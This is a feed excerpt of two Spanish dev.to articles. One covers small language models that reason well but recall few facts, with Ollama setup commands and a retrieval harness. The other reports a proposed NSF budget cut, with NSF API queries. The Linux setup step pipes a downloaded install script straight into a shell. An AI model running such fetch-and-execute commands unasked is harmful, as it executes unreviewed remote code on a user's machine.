&lt;li&gt;GLM-5.2 anota 99,2% en AIME 2026 con unos 40.000 millones de parámetros activos por token.- Qwen3.5 llega a 91,3% en AIME 2026 usando solo 17.000 millones de parámetros activos.- DeepSeek V4-Flash razona con unos 13.000 millones de parámetros activos por token.- GPT-4 (2023) usaba un estimado de 280.000 millones de parámetros activos y apenas resolvía AIME.- En SimpleQA, el líder Gemini 2.5 Pro acierta solo el 53% de preguntas factuales sin herramientas.- Qwen3.5 de 4B y 9B alucina entre 80% y 82% de las veces cuando no conoce un hecho, según Artificial Analysis.- La serie Physics of Language Models mide la capacidad factual en unos 2 bits de conocimiento por parámetro.- Phi-4 de Microsoft (14.000 millones de parámetros) es fuerte en matemática y débil en trivia por su entrenamiento sintético.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Introducción
&lt;/h2&gt;

&lt;p&gt;Durante 2023 y 2024, la frontera de la IA avanzó a fuerza de más parámetros: cuantos más pesos, mejor el modelo. Ese supuesto se rompió. Hoy los laboratorios entrenan modelos más chicos y más capaces en razonamiento verificable, matemática y código, a costa de sacrificar deliberadamente cuánto saben de memoria sobre el mundo. No es un efecto secundario ni una limitación técnica: es una decisión de diseño.&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué pasó con el conocimiento factual
&lt;/h2&gt;

&lt;p&gt;El desarrollador Walter van der Giessen documentó el patrón en un análisis publicado en &lt;a href="https://w4g1.dev/blog/models-are-getting-dumber-on-purpose" rel="noopener noreferrer"&gt;w4g1.dev&lt;/a&gt;: mientras los puntajes de razonamiento suben, el cómputo por token baja. GLM-5.2 llega al 99,2% en AIME 2026 con unos 40.000 millones de parámetros activos por token. Qwen3.5 anota 91,3% con solo 17.000 millones activos. DeepSeek V4-Flash razona con apenas 13.000 millones activos por token. Para dimensionar el salto: GPT-4 corría, según estimaciones que circularon en 2023, con cerca de 280.000 millones de parámetros activos y aun así apenas resolvía un problema de AIME.&lt;/p&gt;

&lt;p&gt;En el otro extremo de la escala, Qwen3.5 de 9.000 millones de parámetros cuantizado cabe en 6 GB de VRAM (una GPU de laptop gamer) y duplica el puntaje del siguiente mejor modelo de menos de 10.000 millones de parámetros en el índice de inteligencia de Artificial Analysis. Si el único criterio fueran los benchmarks de matemática y código, la conclusión sería que los modelos se volvieron radicalmente más inteligentes por parámetro.&lt;/p&gt;

&lt;p&gt;La foto cambia por completo con una pregunta factual simple, sin herramientas de búsqueda de por medio. En &lt;strong&gt;SimpleQA&lt;/strong&gt;, el benchmark de recuerdo factual sin herramientas, el líder actual es Gemini 2.5 Pro con apenas 53% de aciertos. Los modelos chicos ni se acercan: Qwen3.5 de 4.000 y 9.000 millones de parámetros alucina entre el 80% y el 82% de las veces que no conoce la respuesta, según el benchmark de conocimiento de Artificial Analysis. Cuando no saben algo, que es la mayoría del tiempo, inventan una respuesta con total seguridad.&lt;/p&gt;

&lt;h2&gt;
  
  
  Contexto e historia
&lt;/h2&gt;

&lt;p&gt;Los datos duros ocupan espacio físico dentro de una red neuronal. La serie de investigación &lt;a href="https://physics.allen-zhu.com" rel="noopener noreferrer"&gt;Physics of Language Models&lt;/a&gt; midió esa capacidad y llegó a una cifra memorable: un modelo guarda, en promedio, unos 2 bits de conocimiento factual por parámetro. Si querés un modelo que sepa el año de nacimiento de cualquier matemático menor del siglo XIX, la población de cada municipio holandés y el orden exacto de los argumentos de cada función de cada paquete de npm, pagás ese conocimiento en pesos. Es buena parte de la razón por la que los modelos de frontera llegaron a tener billones de parámetros.&lt;/p&gt;

&lt;p&gt;El razonamiento comprime mucho mejor que los hechos porque es, en esencia, un conjunto chico de procedimientos que se repiten: dividir un problema en partes, llevar un estado intermedio, revisar el propio trabajo, retroceder cuando un paso falla. La destilación y el aprendizaje por refuerzo sobre tareas verificables transfieren esos procedimientos a modelos chicos sorprendentemente bien. &lt;a href="https://huggingface.co/microsoft/phi-4" rel="noopener noreferrer"&gt;Phi-4&lt;/a&gt;, de Microsoft, tiene 14.000 millones de parámetros, se entrenó fuerte con datos sintéticos estilo libro de texto, y es bueno en matemática y malo en trivia: el resultado exacto de lo que había, y lo que no había, en sus datos de entrenamiento. Lo que antes se veía como una limitación del enfoque de datos sintéticos hoy se ve como el objetivo de diseño.&lt;/p&gt;

&lt;p&gt;El conocimiento que sobrevive al recorte tiene una forma particular. Estos modelos son generalistas: saben un poco de casi todo y casi nada en profundidad. Preguntale a uno por PostgreSQL y te va a decir qué es, para qué sirve y a grandes rasgos cómo funciona MVCC, pero si le pedís qué versión agregó una función específica del planner, vuelve a inventar. Esa es la capa correcta para guardar en los pesos: la amplitud es lo que le permite al modelo entender de qué trata una pregunta, saber qué buscar y juzgar si una fuente es creíble. La profundidad es barata de buscar y cara de almacenar, así que es la parte que se recorta.&lt;/p&gt;

&lt;h2&gt;
  
  
  Detalles técnicos y rendimiento
&lt;/h2&gt;

&lt;p&gt;ModeloParámetros activos por tokenPrecisión en AIME 2026DetalleGLM-5.2~40.000 millones99,2%Arquitectura MoE, mayoría de parámetros en expertos de conocimientoQwen3.517.000 millones91,3%Corre en hardware de gama mediaDeepSeek V4-Flash~13.000 millonesNo reportado en la fuente~284.000 millones de parámetros totales, la mayoría en expertosGPT-4 (2023, referencia)~280.000 millones (rumor)Baja, apenas resolvía AIMESin optimización dedicada a razonamiento verificable&lt;br&gt;
La arquitectura que hace posible este recorte es &lt;a href="https://en.wikipedia.org/wiki/Mixture_of_experts" rel="noopener noreferrer"&gt;mixture of experts (MoE)&lt;/a&gt;: el modelo tiene muchos más parámetros totales que activos, y en cada token solo se activa un subconjunto de expertos. DeepSeek V4-Flash razona con unos 13.000 millones de parámetros activos, pero sus expertos suman cerca de 284.000 millones en total. La mayoría de esos expertos no son motores de razonamiento: son almacenamiento de hechos. Es justamente esa parte, los expertos de conocimiento, la que este cambio de diseño vuelve opcional.&lt;br&gt;
Menos parámetros activos, igual o mejor puntaje en razonamiento verificable.&lt;br&gt;
Hay una consecuencia práctica inmediata: si el conocimiento vive sobre todo en los expertos y el razonamiento cabe en 13.000 a 40.000 millones de parámetros activos, recortar los expertos de hechos hace que el tamaño total del modelo se acerque al tamaño activo. Un modelo de 20.000 a 40.000 millones de parámetros a 4 bits de cuantización entra en una tarjeta de 24 GB, la misma que viene en PCs gamer desde 2022. La contrapartida es que ese modelo compacto no va a saber, por ejemplo, un dato reciente si nadie se lo dice.&lt;/p&gt;
&lt;h2&gt;
  
  
  Cómo probarlo
&lt;/h2&gt;

&lt;p&gt;El patrón se puede reproducir hoy con modelos reales que corren en tu propia máquina, sin depender de un laboratorio de frontera. La forma más simple es &lt;a href="https://ollama.com" rel="noopener noreferrer"&gt;Ollama&lt;/a&gt;, que empaqueta el modelo y expone una API local.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Windows (PowerShell):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;winget &lt;span class="nb"&gt;install &lt;/span&gt;Ollama.Ollama
ollama pull qwen2.5:7b
ollama run qwen2.5:7b &lt;span class="s2"&gt;"Resolve paso a paso: un tren sale a las 14:00 a 80 km/h y otro sale 30 minutos despues a 100 km/h por la misma ruta, en que momento se cruzan?"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;macOS:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;brew &lt;span class="nb"&gt;install &lt;/span&gt;ollama
ollama pull qwen2.5:7b
ollama run qwen2.5:7b &lt;span class="s2"&gt;"Resolve paso a paso el mismo problema del tren"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Linux:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; https://ollama.com/install.sh | sh
ollama pull qwen2.5:7b
ollama run qwen2.5:7b &lt;span class="s2"&gt;"Resolve paso a paso el mismo problema del tren"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ese mismo modelo chico, sin contexto externo, va a fallar si le pedís un dato factual puntual que no memorizó. El patrón que documenta w4g1.dev con modelos de frontera se reproduce a escala chica: buen razonamiento, conocimiento factual pobre.&lt;/p&gt;

&lt;p&gt;El complemento es un harness que le entregue el hecho en el momento de la consulta, en vez de esperar que lo tenga memorizado:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// harness.js: el modelo razona, la busqueda aporta el hecho actualizado&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;ollama&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ollama&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;responderConHechos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pregunta&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;contextoFactual&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;prompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`Contexto verificado:\n&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;contextoFactual&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;\n\nPregunta: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;pregunta&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;\nRespondé usando solo el contexto de arriba.`&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;respuesta&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;ollama&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;chat&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;model&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;qwen2.5:7b&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt; &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;user&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;prompt&lt;/span&gt; &lt;span class="p"&gt;}]&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;respuesta&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;release&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://api.github.com/repos/ollama/ollama/releases/latest&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;texto&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;responderConHechos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Cual es la ultima version de Ollama?&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;release&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;tag_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;texto&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;El modelo nunca memorizó la versión de Ollama: la recibe en el prompt en tiempo de consulta, así el dato no queda obsoleto aunque el modelo tenga meses de antigüedad.&lt;/p&gt;

&lt;p&gt;Para confirmar qué modelo y qué cuantización tenés realmente cargados, &lt;code&gt;ollama show qwen2.5:7b&lt;/code&gt; imprime el conteo de parámetros y el detalle de cuantización. Para medir la tasa de alucinación en tu propio caso de uso, pedile al modelo un dato verificable que no esté en el contexto que le diste (una fecha, una versión, un número concreto) y contrastá la respuesta contra la fuente real. Un modelo bien usado en este esquema debería decir que no lo sabe o pedir más contexto, no inventar un número con la misma confianza que si lo supiera.&lt;/p&gt;

&lt;h2&gt;
  
  
  Impacto y análisis
&lt;/h2&gt;

&lt;p&gt;El desplazamiento tiene una lectura práctica para quien construye con agentes de código. Un agente que edita un repositorio no necesita haber memorizado la superficie de API de una dependencia: le alcanza con leer &lt;code&gt;node_modules&lt;/code&gt; o la documentación antes de llamar a cualquier función, y su respuesta queda anclada a la versión instalada, no a la que dominaba el corpus de entrenamiento. El recuerdo que antes era un costo fijo en cada pase hacia adelante se convirtió en una consulta bajo demanda.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💭 Clave:&lt;/strong&gt; la frontera técnica ya no es solo entrenar modelos más grandes, sino decidir qué conocimiento vive en los pesos y cuál se resuelve en tiempo de consulta contra una fuente externa.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Esto también cambia la economía del envejecimiento de un modelo. Una corrida de entrenamiento de frontera toma meses y cuesta cientos de millones de dólares, y en el momento en que termina, los hechos que memorizó empiezan a quedar viejos: las APIs cambian, los precios cambian, la gente cambia de trabajo. Un modelo cargado de hechos envejece junto con su corpus. Uno cargado sobre todo de procedimientos depende mucho menos de su fecha de corte, porque el estado actual del mundo nunca estuvo pensado para vivir en los pesos.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;⚠️ Ojo:&lt;/strong&gt; un modelo optimizado para razonar responde con la misma seguridad tanto si el dato es correcto como si lo inventó. La confianza del texto generado no es una señal de precisión factual, y confiar en el resultado de un modelo chico sin contexto externo es la forma más rápida de publicar un dato falso.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;La limitación real es que este enfoque traslada la responsabilidad de la corrección al harness. Si la búsqueda devuelve una fuente vieja o un sistema de recuperación indexa mal un documento, un modelo que razona muy bien va a construir una respuesta igual de convincente sobre datos igual de incorrectos. Para tareas donde no hay una fuente externa confiable a mano, como opinión o síntesis de literatura dispersa, un modelo chico y sin memoria factual profunda sigue siendo peor que uno de frontera con más conocimiento propio.&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué sigue
&lt;/h2&gt;

&lt;p&gt;La lógica de esta tendencia, extrapolada un par de años, apunta a un modelo con razonamiento de frontera que corre en una sola GPU de consumo. La mitad del cómputo ya casi llegó ahí: DeepSeek V4-Flash razona con unos 13.000 millones de parámetros activos por token, dentro del rango de una GPU de consumo. Lo que no entra todavía son los otros cerca de 271.000 millones de parámetros que viven en sus expertos, y esos expertos son sobre todo almacenamiento de hechos.&lt;br&gt;
El harness (búsqueda, RAG, herramientas) reemplaza al peso como fuente de hechos.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flowchart TD
A["Modelo: pesos con razonamiento"] --&amp;gt; B{"Necesita un hecho actual?"}
B -- "Si" --&amp;gt; C["Harness: busqueda o herramienta"]
C --&amp;gt; D["Hecho verificado y actualizado"]
D --&amp;gt; E["Respuesta final"]
B -- "No, es logica pura" --&amp;gt; E
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ese diagrama resume el cambio de fondo: el modelo aporta el razonamiento, y todo lo que razona se le entrega en el momento de la consulta. El costo de mantener actualizado un sistema así ya no está en reentrenar un modelo de billones de parámetros cada pocos meses, sino en mantener actualizado el harness (el índice de búsqueda, los documentos, las herramientas) que lo alimenta.&lt;/p&gt;

&lt;p&gt;Probalo vos: corré &lt;code&gt;ollama pull qwen2.5:7b&lt;/code&gt; y comparalo en tu propia terminal contra una pregunta de matemática y una de trivia sin contexto, vas a ver el mismo patrón que documenta w4g1.dev en modelos mucho más grandes.&lt;/p&gt;

&lt;p&gt;📖 Resumen en Telegram: Ver resumen&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  ¿Por qué los modelos de IA memorizan menos hechos ahora?
&lt;/h3&gt;

&lt;p&gt;Porque el razonamiento comprime mejor que el conocimiento factual: unos pocos procedimientos generales rinden en muchos problemas, mientras que cada hecho nuevo exige parámetros dedicados solo a guardarlo.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Qué es la tasa de alucinación y cómo se mide?
&lt;/h3&gt;

&lt;p&gt;Es el porcentaje de respuestas incorrectas que un modelo entrega con apariencia de certeza cuando no conoce el dato real. Artificial Analysis la mide en su benchmark de conocimiento, y en Qwen3.5 de 4.000 y 9.000 millones de parámetros llega a 80-82%.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Un modelo chico sirve para programar si no sabe hechos?
&lt;/h3&gt;

&lt;p&gt;Sí, si trabaja con un harness: documentación, el propio repositorio o herramientas de búsqueda. El razonamiento es la parte que un modelo chico retiene bien; los detalles específicos de una API se buscan en tiempo real.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Qué es la arquitectura mixture of experts (MoE)?
&lt;/h3&gt;

&lt;p&gt;Es un diseño donde el modelo tiene muchos más parámetros totales que los que activa en cada token: solo un subconjunto de expertos se enciende por consulta, lo que permite guardar mucho conocimiento en el total sin pagar ese costo en cada cómputo.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Voy a poder correr un modelo de frontera en mi propia GPU?
&lt;/h3&gt;

&lt;p&gt;La tendencia apunta a eso: si el conocimiento factual se recorta y el tamaño total se acerca al tamaño activo, un modelo de 20.000 a 40.000 millones de parámetros a 4 bits ya entra en una tarjeta de 24 GB, algo que muchas PCs gamer tienen desde 2022.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Cómo verifico si una respuesta del modelo es un hecho real o inventado?
&lt;/h3&gt;

&lt;p&gt;Pedile la fuente y contrastala contra el harness: documentación oficial, una API o una búsqueda. Si el modelo no puede señalar de dónde sacó el dato o el contexto que le diste no lo contiene, tratá la respuesta como no verificada.&lt;/p&gt;

&lt;h2&gt;
  
  
  Referencias
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://w4g1.dev/blog/models-are-getting-dumber-on-purpose" rel="noopener noreferrer"&gt;Models Are Getting Dumber on Purpose, Walter van der Giessen&lt;/a&gt;: el análisis original con los datos de GLM-5.2, Qwen3.5, DeepSeek V4-Flash y SimpleQA.- &lt;a href="https://physics.allen-zhu.com" rel="noopener noreferrer"&gt;Physics of Language Models&lt;/a&gt;: la serie de investigación que mide la capacidad factual en bits por parámetro.- &lt;a href="https://huggingface.co/microsoft/phi-4" rel="noopener noreferrer"&gt;Phi-4 en Hugging Face&lt;/a&gt;: ficha del modelo de Microsoft entrenado con datos sintéticos.- &lt;a href="https://ollama.com" rel="noopener noreferrer"&gt;Ollama&lt;/a&gt;: herramienta para correr modelos de lenguaje de forma local en Windows, macOS y Linux.- &lt;a href="https://en.wikipedia.org/wiki/Mixture_of_experts" rel="noopener noreferrer"&gt;Mixture of experts, Wikipedia&lt;/a&gt;: explicación de la arquitectura MoE usada por los modelos mencionados.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;📱 &lt;strong&gt;¿Te gusta este contenido?&lt;/strong&gt; Únete a nuestro canal de Telegram &lt;a href="https://t.me/programacion" rel="noopener noreferrer"&gt;@programacion&lt;/a&gt; donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>machinelearning</category>
      <category>programming</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>NSF recorta 56% su presupuesto y prioriza la IA sobre ciencia básica</title>
      <dc:creator>lu1tr0n</dc:creator>
      <pubDate>Sun, 16 Aug 2026 16:17:37 +0000</pubDate>
      <link>https://dev.to/lu1tr0n/nsf-recorta-56-su-presupuesto-y-prioriza-la-ia-sobre-ciencia-basica-3140</link>
      <guid>https://dev.to/lu1tr0n/nsf-recorta-56-su-presupuesto-y-prioriza-la-ia-sobre-ciencia-basica-3140</guid>
      <description>&lt;p&gt;El presupuesto de la &lt;strong&gt;National Science Foundation&lt;/strong&gt; para el año fiscal 2026 cae 56%, de 9.060 millones a unos 3.900 millones de dólares, según la propuesta del Ejecutivo estadounidense confirmada por fuentes internas de la agencia. Es el recorte más profundo en la historia del NSF, la agencia que financia cerca del 25% de la investigación básica no médica en universidades de Estados Unidos.&lt;/p&gt;

&lt;p&gt;El dinero liberado no desaparece: se redirige a un plan federal de &lt;strong&gt;inteligencia artificial aplicada a la ciencia&lt;/strong&gt;. Para un investigador o un laboratorio universitario que dependa de una subvención del NSF, el cambio no es abstracto: implica menos becas doctorales, menos cómputo para proyectos de ciencia básica y una apuesta explícita por la IA por sobre otras disciplinas.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;El NSF propone un recorte del 56% de su presupuesto para 2026, de 9.060 millones a unos 3.900 millones de dólares.- Desde abril de 2025 el NSF terminó miles de subvenciones activas de investigación básica en universidades de EE.UU.- La agencia redirige fondos hacia inteligencia artificial, cómputo cuántico y biotecnología como áreas prioritarias.- El NSF financia históricamente cerca del 25% de la investigación básica no médica en universidades estadounidenses.- El recorte propuesto por el Ejecutivo aún depende de la aprobación final del Congreso, que históricamente restaura parte del presupuesto.- Ciencias sociales, del comportamiento y programas de educación STEM son las áreas con mayor reducción proporcional.- Investigadores y sociedades científicas advierten sobre pérdida de talento joven y freno a proyectos de largo plazo.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Qué pasó con el recorte del NSF
&lt;/h2&gt;

&lt;p&gt;La propuesta de presupuesto del Ejecutivo para el año fiscal 2026 &lt;a href="https://www.nsf.gov" rel="noopener noreferrer"&gt;reduce en 56% los fondos de la National Science Foundation&lt;/a&gt;. La agencia, creada en 1950 para financiar ciencia básica fuera del ámbito médico, venía operando con un presupuesto anual cercano a los 9.000 millones de dólares desde hace varios años.&lt;/p&gt;

&lt;p&gt;Según fuentes internas de la agencia citadas por medios especializados en política científica, el recorte no llegó de golpe: desde abril de 2025 el NSF empezó a terminar subvenciones activas antes de su fecha de vencimiento, algo inusual porque muchos investigadores ya habían contratado personal y comprado equipo con esos fondos. La cifra exacta de subvenciones canceladas varía según la fuente, pero coinciden en que se cuentan por miles y que el monto involucrado supera los mil millones de dólares.&lt;/p&gt;

&lt;p&gt;El recorte del NSF se enmarca en una reestructuración más amplia: la agencia pasó de financiar un portafolio amplio de disciplinas (matemáticas, ciencias sociales, biología, ingeniería, educación STEM) a concentrar recursos en un número reducido de &lt;strong&gt;áreas prioritarias&lt;/strong&gt; definidas por la Casa Blanca, con la inteligencia artificial y la computación cuántica a la cabeza.&lt;br&gt;
El NSF financia cerca del 25% de la investigación básica no médica en EE.UU.&lt;/p&gt;
&lt;h2&gt;
  
  
  Contexto e historia
&lt;/h2&gt;

&lt;p&gt;El NSF no es una agencia cualquiera: durante siete décadas fue la principal fuente de financiamiento federal para ciencia básica sin fines médicos, desde matemática pura hasta ecología y ciencias sociales. A diferencia de los Institutos Nacionales de Salud (NIH), que financian investigación biomédica, el NSF cubre disciplinas que rara vez atraen inversión privada porque sus resultados no son comercializables a corto plazo.&lt;/p&gt;

&lt;p&gt;El giro hacia la inteligencia artificial no surgió de la nada. En 2025 la administración estadounidense publicó su plan de acción de IA a nivel federal, y meses después firmó una orden ejecutiva que crea un programa de gran escala para aplicar inteligencia artificial a la investigación científica, comparándolo públicamente con el esfuerzo del Proyecto Manhattan. El recorte del NSF y la reasignación de fondos hacia IA son la traducción presupuestaria de esa prioridad: menos ciencia básica dispersa, más cómputo e IA concentrados en objetivos específicos.&lt;/p&gt;

&lt;p&gt;El resultado es una fricción real entre dos modelos de cómo se produce el conocimiento científico: el modelo histórico del NSF, que financia proyectos exploratorios sin garantía de resultado inmediato, y el nuevo modelo, que prioriza herramientas de IA con aplicación más directa y medible.&lt;/p&gt;
&lt;h2&gt;
  
  
  Cómo se reparte el recorte por área
&lt;/h2&gt;

&lt;p&gt;No todas las direcciones del NSF pierden fondos por igual. La reasignación favorece con claridad a la inteligencia artificial y el cómputo cuántico, mientras las ciencias sociales, del comportamiento y los programas de educación STEM concentran la mayor parte del ajuste.&lt;br&gt;
ÁreaPrioridad bajo el nuevo enfoqueTendencia de financiamientoInteligencia artificial y cómputoMáximaAumentoComputación cuánticaAltaAumentoBiotecnologíaAltaEstable o leve aumentoCiencias sociales y del comportamientoReducidaRecorte fuerteEducación STEM y becas de posgradoReducidaRecorte fuerteCiencias biológicas y ambientalesReducidaRecorte moderado&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flowchart TD
 A["Presupuesto NSF 2026"] --&amp;gt; B["Ciencias sociales y educacion STEM"]
 A --&amp;gt; C["Ciencias biologicas y ambientales"]
 A --&amp;gt; D["IA y computacion cuantica"]
 B --&amp;gt; E["Recorte fuerte de subvenciones"]
 C --&amp;gt; F["Recorte moderado"]
 D --&amp;gt; G["Nuevos programas prioritarios"]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Qué significa esto en la práctica
&lt;/h3&gt;

&lt;p&gt;Un laboratorio de ecología que dependía de una subvención plurianual del NSF hoy compite por una porción menor del presupuesto, mientras un grupo que aplica aprendizaje automático a genómica o a modelado climático encuentra más líneas de financiamiento abiertas. No es que la ciencia básica desaparezca del NSF: es que su prioridad relativa bajó frente a proyectos que incorporan IA de forma directa.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cómo verificar los datos del recorte del NSF
&lt;/h2&gt;

&lt;p&gt;El NSF publica sus subvenciones activas y canceladas en un sistema abierto. Cualquiera puede consultar qué proyectos de su institución o su campo perdieron financiamiento usando la API pública de búsqueda de subvenciones, sin necesidad de credenciales:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"https://api.nsf.gov/services/v1/awards.json?keyword=quantum+computing&amp;amp;printFields=id,title,awardeeName,fundsObligatedAmt,expDate"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Este comando devuelve, en JSON, las subvenciones relacionadas con computación cuántica junto con el monto otorgado y la fecha de expiración original. Si esa fecha ya pasó pero el estado del proyecto en la web institucional del investigador sigue como "en curso", es una señal de que el proyecto fue cortado antes de tiempo.&lt;/p&gt;

&lt;p&gt;Para buscar por institución en vez de por palabra clave, el mismo endpoint acepta el nombre de la universidad:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"https://api.nsf.gov/services/v1/awards.json?awardeeName=Stanford+University&amp;amp;printFields=id,title,fundsObligatedAmt,expDate"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



